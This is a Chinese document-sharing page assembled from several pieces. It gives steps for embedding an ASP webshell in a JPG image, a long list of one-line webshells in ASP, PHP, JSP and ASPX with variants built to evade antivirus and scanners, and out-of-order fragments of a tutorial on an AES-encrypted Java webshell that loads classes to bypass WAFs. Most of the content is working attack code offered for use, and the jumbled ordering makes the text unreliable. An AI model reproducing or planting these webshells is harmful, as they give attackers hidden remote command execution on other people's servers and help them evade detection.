制作步骤:一、前期准备材料:1.一张图片:1.jpg2.一句话木马服务器端代码:<%execute request("value")%>(其他的一句话也行)3.一句Script标签:<SCRIPT RUNAT=SERVER LANGUAGE=JA V ASCRIPT>一句话木马服务器端代码</SCRIPT>4. 调用图片后门代码:<!--#include file="图片地址"-->工具:UltraEdit二、开始制作:1.使用UltraEdit打开1.jpg文件,然后按CTRL +F 进行查找图片中的“<%”和“%>”其中<%的十六进制代码是3E 25,那么%>就应该是25 3E,但是我们只把25改成00;之后我们在新建一个文本编辑窗口,将我们的script标签代码<SCRIPT RUNAT=SERVER LANGUAGE=JA V ASCRIPT><%execute request("value")%></SCRIPT>复制进去,然后点击右键选择十六进制编辑命令,这样会跳转到十六进制数据窗口,复制所有的十六进制的数据,粘贴到1.jpg的十六进制编辑窗口的最下面,说明:为什么要粘贴到最下面?假设你把srcipt标签的十六进制代码粘贴到中间的话,就会破坏图片的完整性,那样下面的图片就看不到了,但是插入的一句话代码还是起作用的。
各种一句话木马大全

各种⼀句话⽊马⼤全<%eval request("c")%><%execute request("c")%><%execute(request("c"))%><%ExecuteGlobal request("sb")%>%><%Eval(Request(chr(35)))%><%<%if request ("c")<>""then session("c")=request("c"):end if:if session("c")<>"" then execute session("c")%><%eval(Request.Item["c"],"unsafe");%>'备份专⽤<%eval(request("c")):response.end%>'⽆防下载表,有防下载表突破专⽤⼀句话<%execute request("c")%><%<%loop<%:%><%<%loop<%:%><%execute request("c")%><%execute request("c")<%loop<%:%>'防杀防扫专⽤<%if Request("c")<>"" ThenExecuteGlobal(Request("c"))%>'不⽤"<,>"<script language=VBScript runat=server>execute request("c")</script><% @Language="JavaScript" CodePage="65001"var lcx={'名字':Request.form('#'),'性别':eval,'年龄':'18','昵称':'请叫我⼀声⽼⼤'};lcx.性别((lcx.名字)+'') %><script language=vbs runat=server>eval(request("c"))</script><script language=vbs runat=server>eval_r(request("c"))</script>'不⽤双引号<%eval request(chr(35))%>'可以躲过雷客图<%set ms = server.CreateObject("MSScriptControl.ScriptControl.1") nguage="VBScript"ms.AddObject"response",response ms.AddObject"request",request ms.ExecuteStatement("ev"&"al(request(""c""))")%><%dy=request("dy")%><%Eval(dy)%>'容错代码if Request("sb")<>"" then ExecuteGlobal request("sb") end ifPHP⼀句话复制代码代码如下:<?php eval($_POST1);?><?php if(isset($_POST['c'])){eval($_POST['c']);}?><?php system($_REQUEST1);?><?php ($_=@$_GET1).@$_($_POST1)?><?php eval_r($_POST1)?><?php @eval_r($_POST1)?>//容错代码<?php assert($_POST1);?>//使⽤Lanker⼀句话客户端的专家模式执⾏相关的PHP语句<?$_POST['c']($_POST['cc']);?><?$_POST['c']($_POST['cc'],$_POST['cc'])?><?php @preg_replace("/[email]/e",$_POST['h'],"error");?>/*使⽤这个后,使⽤菜⼑⼀句话客户端在配置连接的时候在"配置"⼀栏输⼊*/:<O>h=@eval_r($_POST1);</O><?php echo `$_GET['r']` ?>//绕过<?限制的⼀句话<script language="php">@eval_r($_POST[sb])</script>JSP⼀句话复制代码代码如下:<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write (request.getParameter("t").getBytes());%>提交客户端<form action="" method="post"><textareaname="t"></textarea><br/><input type="submit"value="提交"></form>ASPX⼀句话<script language="C#"runat="server">WebAdmin2Y.x.y a=new WebAdmin2Y.x.y("add6bb58e139be10")</script> 再补充⼏个:推荐还是把⼀句话加进图⽚⾥⾯去。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
public class Demo { public static class Myloader extends ClassLoader //继承ClassLoader { public Class get(byte[] b) { return super.defineClass(b, 0, b.length); } } public static void main(String[] args) throws Exception { // TODO Auto-generated method stub String
理论篇
为什么会被拦截
在讨论怎么绕过之前,先分析一下我们的一句话客户端发送的请求会被拦截? 我们以菜刀为例,来看一下payload的特征,如下为aspx的命令执行的payload:
Payload如下: caidao=Response.Write("->|"); var err:Exception;try{eval(System.Text.Encoding.GetEncoding(65001).GetString(System. Convert.FromBase64String("dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1M {Response.Write("ERROR:// "%2Berr.message);}Response.Write("|<");Response.End();&z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D 可以看到,虽然关键的代码采用了base64编码,但是payload中扔有多个明显的特征,比如有eval关键词,有 Convert.FromBase64String,有三个参数,参数名为caidao(密码字段)、z1、z2,参数值有base64编码。针对这些特征很容易写出对 应的防护规则,比如:POST请求中有Convert.FromBase64String关键字,有z1和z2参数,z1参数值为4个字符,z2参数值为base64编 码字符。
OK,代码解释完了,下面尝试执行Demo类,成功弹出计算器,并打印出“OK”字符串,如下图:
到此,我们就可以直接动态解析并执行编译好的class字节流了。 2.生成密钥: 首先检测请求方式,如果是带了密码字段的GET请求,则随机产生一个128位的密钥,并将密钥写进Session中,然后通过response发送给 客户端,代码如下: if (request.getMethod().equalsIgnoreCase("get")) {
因为该方法是protected的,我们没办法在外部直接调用,当然我们可以通过反射来修改保护属性,不过我们选择一个更方便的方法,直 接自定义一个类继承classloader,然后在子类中调用父类的defineClass方法。
下面我们写个demo来测试一下: package net.rebeyond; import sun.misc.BASE64Decoder;
String k = UUID.randomUUID().toString().replace("-","").substring(0, 16); request.getSession().setAttribute("uid", k); out.println(k); return; } 这样,后续发送payload的时候只需要发送加密后的二进制流,无需发送密钥即可在服务端解密,这时候waf捕捉到的只是一堆毫无意义的 二进制数据流。 3.解密数据,执行: 当客户端请求方式为POST时,服务器先从request中取出加密过的二进制数据(base64格式),代码如下: Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding"); c.init(Cipher.DECRYPT_MODE,new SecretKeySpec(request.getSession().getAttribute("uid").toString().getBytes(), "AES")); new Myloader().get(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().toString(); 4.改进一下 前面提到,我们是通过重写Object类的toString方法来作为我们的Payload执行入口,这样的好处是我们可以取到Payload的返回值并输 出到页面,但是缺点也很明显:在toString方法内部没办法访问Request、Response、Seesion等servlet相关对象。所以需要找一个带有 入参的方法,并且能把Request、Response、Seesion等servlet相关对象传递进去。 重新翻看了一下Object类的方法列表:
前言
一句话木马是一般是指一段短小精悍的恶意代码,这段代码可以用作一个代理来执行攻击者发送过来的任意指令,因其体积小、隐蔽性 强、功能强大等特点,被广泛应用于渗透过程中。最初的一句话木马真的只有一句话,比如eval(request(“cmd”)),后续为了躲避查 杀,出现了很多变形。无论怎么变形,其本质都是用有限的尽可能少的字节数,来实现无限的可任意扩展的功能。
概述
本系列文章重写了java、.net、php三个版本的一句话木马,可以解析并执行客户端传递过来的加密二进制流,并实现了相应的客户端工 具。从而一劳永逸的绕过WAF或者其他网络防火墙的检测。 本来是想把这三个版本写在一篇文章里,过程中发现篇幅太大,所以分成了四篇,分别是: 利用动态二进制加密实现新型一句话木马之Java篇 利用动态二进制加密实现新型一句话木马之.net篇 利用动态二进制加密实现新型一句话木马之php篇 利用动态二进制加密实现新型一句话木马之客户端下载及功能介绍
classStr="yv66vgAAADQAKAcAAgEAFW5ldC9yZWJleW9uZC9SZWJleW9uZAcABAEAEGphdmEvbGFuZy9PYmplY3QBAAY8aW5pdD4BAAMoKVYBAARDb2RlCgADAAkMAAUABgEAD
BASE64Decoder code=new sun.misc.BASE64Decoder(); Class result=new Myloader().get(code.decodeBuffer(classStr));//将base64解码成byte数组,并传入t类的get函数 System.out.println(result.newInstance().toString()); } } 上面代码中的classStr变量的值就是如下这个类编译之后的class文件的base64编码: package net.rebeyond; import java.io.IOException;
实现篇
服务端实现
想要直接解析已经编译好的二进制字节流,实现我们的绕过思路,现有的Java一句话木马无法满足我们的需求,因此我们首先需要打造一 个新型一句话木马: 1. 服务器端动态解析二进制class文件: 首先要让服务端有动态地将字节流解析成Class的能力,这是基础。 正常情况下,Java并没有提供直接解析class字节数组的接口。不过classloader内部实现了一个protected的defineClass方法,可以将 byte[]直接转换为Class,方法原型如下:
public class Payload { @Override public String toString() { // TODO Auto-generated method stub try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } return "OK"; }
} 简单解释一下上述代码:
首先自定义一个类Myloader,并继承classloader父类,然后自定义一个名为get的方法,该方法接收byte数组类型的参数,然 后调用父类的defineClass方法去解析byte数据,并返回解析后的Class。
单独编写一个Payload类,并实现toString方法。因为我们想要我们的服务端尽可能的短小精悍,所以我们定义的Payload类即 为默认的Object的子类,没有额外定义其他方法,因此只能借用Object类的几个默认方法,由于我们执行payload之后还要拿到执 行结果,所以我们选择可以返回String类型的toString方法。把这个类编译成Payload.class文件。